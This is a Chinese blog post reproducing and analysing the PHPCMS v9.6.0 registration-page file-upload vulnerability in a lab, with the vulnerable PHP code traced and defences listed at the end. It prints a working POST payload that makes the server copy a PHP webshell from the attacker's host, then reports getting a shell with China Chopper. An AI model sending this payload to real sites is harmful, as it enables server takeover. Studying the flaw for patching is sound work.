phpV9.6.0文件上传漏洞复现及分析

让一切往事都随风而去,留下的就是注定的。

实验环境


  • 操作机系统:Windows xp
  • ip: 192.168.1.102
  • 目标机:windows server 2003
  • ip: 192.168.1.101
  • 目标地址:http://192.168.1.101/phpcms/install_package/index.php?m=member&c=index&a=register&siteid=1

实验目的

掌握文件上传的方法
知道漏洞如何产生

复现过程

文件上传

文件上传是WEB应用很常见的一种功能,本身是一项正常的业务需求,不存在什么问题。但如果在上传时没有对文件进行正确处理,则很可能会发生安全问题。文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,部分文件上传漏洞的利用技术门槛非常的低,对于攻击者来说很容易实施。

漏洞地址:http://192.168.1.101/phpcms/install_package/index.php?m=member&c=index&a=register&siteid=1
首先在远程服务器上准备一句话,这里由于是复现,所用的是虚拟机,实战一般放在外网服务器!
wing

在注册页面向目标发送如下post请求:
siteid=1&modelid=11&username=wwwqqq&password=123456qqq&email=1qwee@qq.com&info[content]=<img src=http://192.168.1.102/1.txt?.php#.jpg>&dosubmit=1&protocol=
wing

用菜刀连接,成功getshell!
wing

ps:实验靶机和攻击机都用了phpstudy,因为环境的问题,一个搭建cms,一个作为放马的地方,一个很好的本地上传的例子。

漏洞分析

payload:
siteid=1&modelid=11&username=hacker&password=hacker&email=123456@qq.com&info[content]=<img src=http://192.168.1.102/1.txt?.php#.jpg>&dosubmit=1&protocol=
payload利用方式
在该cms的注册页面通过post请求将payload发送出去。http://192.168.1.101/1.txt是我们放在服务器的一句话木马

  • 漏洞触发点在index.php?m=member&c=index&a=register&siteid=1
    也就是注册页面。
    phpcms\libs\classes\attachment.class.php这个文件里位于第143行的download函数是漏洞的起始点。

      function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '',$basehref =''){
      global $image_d;
      $this->att_db = pc_base::load_model('attachment_model');
      $upload_url = pc_base::load_config('system','upload_url');
      $this->field = $field;
      $dir = date('Y/md/');
      $uploadpath = $upload_url.$dir;
      $uploaddir = $this->upload_root.$dir;
      $string = new_stripslashes($value);
      if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
      $remotefileurls = array();
      foreach($matches[3] as $matche)
      {
          if(strpos($matche, '://') === false) continue;
          dir_create($uploaddir);
          $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);//对url进行处理
      }
      unset($matches, $string);
      $remotefileurls = array_unique($remotefileurls);
      $oldpath = $newpath = array();
      foreach($remotefileurls as $k=>$file) {
          if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
          $filename = fileext($file);//漏洞产生点
          $file_name = basename($file);
          $filename = $this->getname($filename);
    
          $newfile = $uploaddir.$filename;
          $upload_func = $this->upload_func;//构造函数
          if($upload_func($file, $newfile)) {
              $oldpath[] = $k;
              $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
              @chmod($newfile, 0777);//这里给了777权限,shell能够完美执行
              $fileext = fileext($filename);
              if($watermark){
                  watermark($newfile, $newfile,$this->siteid);
              }
              $filepath = $dir.$filename;
              $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
              $aid = $this->add($downloadedfile);
              $this->downloadedfiles[$aid] = $filepath;
          }
      }
      return str_replace($oldpath, $newpath, $value);
    

    }

  • 函数流程: 传入的值$value是:&lt;img src=http://192.168.1.102/1.txt?.php#.ipg&gt;

  • 使用new_stripslashes删除反斜杠
    $string = new_stripslashes($value);

  • 对url进行正则匹配,检查后缀,后缀只要是jpg,gif结尾的就可以继续下去,而且value的值没变
    if(!preg_match_all(“/(href|src)=([\”|’]?)([^ \”‘>]+.($ext))\2/i”, $string, $matches)) return $value;
    后缀只要是jpg,gif结尾的就行。

  • 下面看foreach:

      foreach($matches[3] as $matche)
      {
      if(strpos($matche, '://') === false) continue;
      dir_create($uploaddir);//创建上传目录
      $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
      }`
    
  • 因为#在url中这里可以理解为注释,不会传给服务端,经过fillurl可以除掉#,我们的payload在经过fillurl处理后变为:

    http://192.168.1.102/1.txt?.php

  • 此时$remotefileurls结构:

    array(1){
    [‘http://192.168.1.102/1.txt?.php#.jpg']=>
    string(44) “192.168.1.102/1.txt?.php”
    }

  • 再看foreach:

          foreach($remotefileurls as $k=>$file) {//对刚刚的remotefileurls进行处理,key,value。file是处理后的url
          if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
          $filename = fileext($file);//提取文件后缀,就是php这里是一个关键点,后缀.php
          $file_name = basename($file);
          $filename = $this->getname($filename);//结合时间生成的文件名
    
          $newfile = $uploaddir.$filename;//更新路径
          $upload_func = $this->upload_func;//upload_func值看构造函数,为copy
          if($upload_func($file, $newfile)) {//使用copy函数拷贝远程文件,并命名为上面的那个php文件名
              $oldpath[] = $k;
              $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
              @chmod($newfile, 0777);//给新文件执行777权限,,php的马成功上传到服务器之后可以完美执行
              $fileext = fileext($filename);
              if($watermark){
                  watermark($newfile, $newfile,$this->siteid);
              }
              $filepath = $dir.$filename;
              $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
              $aid = $this->add($downloadedfile);
              $this->downloadedfiles[$aid] = $filepath;
          }
      }
    
  • poc:http://192.168.1.102/1.txt?.php#.jpg
  • 先对我们传入的url进行了一波检查,fillurl把#后面的内容去掉之后,fileext给其取了新后缀,然后直接用copy下载文件并重命名,权限给到了最大。
  • 在caches/caches_model/caches_data/目录,有一个member_input.class.php文件中的editor函数,同目录下其他几个也有。

      function editor($field, $value) {
      $setting = string2array($this->fields[$field]['setting']);
      $enablesaveimage = $setting['enablesaveimage'];
      $site_setting = string2array($this->site_config['setting']);
      $watermark_enable = intval($site_setting['watermark_enable']);
      $value = $this->attachment->download('content', $value,$watermark_enable);
      return $value;
    

    }

  • 这里未对value进行过滤,在同文件的get函数中发现动态调用了editor。

      function get($data) {
      $this->data = $data = trim_script($data);
      $model_cache = getcache('member_model', 'commons');
      $this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];
    
      $info = array();
      $debar_filed = array('catid','title','style','thumb','status','islink','description');
      if(is_array($data)) {
          foreach($data as $field=>$value) {
              if($data['islink']==1 && !in_array($field,$debar_filed)) continue;
              $field = safe_replace($field);
              $name = $this->fields[$field]['name'];
              $minlength = $this->fields[$field]['minlength'];
              $maxlength = $this->fields[$field]['maxlength'];
              $pattern = $this->fields[$field]['pattern'];
              $errortips = $this->fields[$field]['errortips'];
              if(empty($errortips)) $errortips = "$name 不符合要求!";
              $length = empty($value) ? 0 : strlen($value);
              if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 个字符!");
              if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');
              if($maxlength && $length > $maxlength && !$isimport) {
                  showmessage("$name 不得超过 $maxlength 个字符!");
              } else {
                  str_cut($value, $maxlength);
              }
              if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);
              if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!");
              $func = $this->fields[$field]['formtype'];
              if(method_exists($this, $func)) $value = $this->$func($field, $value);
    
              $info[$field] = $value;
          }
      }
      return $info;
    

    }

  • 分析:对$data先做trim处理,去掉两头空白字符。
    $this->data = $data = trim_script($data);
    如果传入的字段在黑名单里面,则不能继续执行。,要在caches/caches_model/caches_data/model_field_1.cache.php里面找到合适的field名

if($data['islink']==1 && !in_array($field,$debar_filed)) continue;

不急,我们继续分析,

$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);
  • 这里意思是要找的field的formtype值必须是editor,满足条件的刚好是content字段。

  • 根据命名规范,找到对应这个文件对应的module文件,即/phpcms/modules/member/,主要关心哪个文件用了$member_input->get方法,这个方法可以在前台调用。

  • 最后发现/phpcms/modules/member/index.php 中的一个register方法使用了这个函数,在第130行。
  •           if($member_setting['choosemodel']) {
              require_once CACHE_MODEL_PATH.'member_input.class.php';
              require_once CACHE_MODEL_PATH.'member_update.class.php';
              $member_input = new member_input($userinfo['modelid']);        
              $_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
              $user_model_info = $member_input->get($_POST['info']);                                        
          }
    
  • 将客户端发过来的$_POST['info']使用new_html_special_chars实体转义后,就直接执行$member_input->get,如下:

    $_POST['info'] = array_map('new_html_special_chars',$_POST['info']); $user_model_info = $member_input->get($_POST['info']);

  • 结合上面的分析,只要$_POST[‘info’]中content字段的值有src="http://172.16.11.2/1.txt?.php#.jpg,这个漏洞就能触发。
  • 从而形成上面所发送的payload

    siteid=1&modelid=11&username=hacker&password=hacker&email=123456@qq.com&info[content]=<img src=http://192.168.1.102/1.txt?.php#.jpg>&dosubmit=1&protocol=

总结

通过文件上传漏洞,可以通过脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

文件上传后导致的常见安全问题一般有:

  1. 上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行。

  2. 上传文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为(其他通过类似方式控制策略文件的情况类似);

  3. 上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行。

  4. 上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。

防御方法

  • 文件上传的目录设置为不可执行
  • 判断文件类型:强烈推荐白名单方式。此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的HTML代码。
  • 使用随机数改写文件名和文件路径:一个是上传后无法访问;再来就是像shell.php.rar.rar和crossdomain.xml这种文件,都将因为重命名而无法攻击。
  • 单独设置文件服务器的域名:由于浏览器同源策略的关系,一系列客户端攻击将失效,比如上传crossdomain.xml、上传包含Javascript的XSS利用等问题将得到解决

   转载规则


《phpV9.6.0文件上传漏洞复现及分析》 Wing 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
Scrapy框架初体验 Scrapy框架初体验
我知道你会来,所以我等! scrapy这个框架现在懂了一点,会一些简单信息的抓取,items里面把想要的东西定义好,spider里面定义规则,现在xpath终于熟练了一点了,虽然不是很难,主要是把自己想要的信息提取出来,做成lis
2017-07-27
下一篇 
Hide your ass and clone the site Hide your ass and clone the site
推荐一个网站:隐藏你的屁股需要挂vpn才能登陆,使用代理的原因都知道,相对来说这个网站比较好吧,因为有些免费的代理是有套路的,小黑可以知道你的流量用来干嘛了,窃取你的机密数据,安全研究的也可以通过这个知道小黑们常用的攻击手法是哪些,然后做
2017-07-12
  目录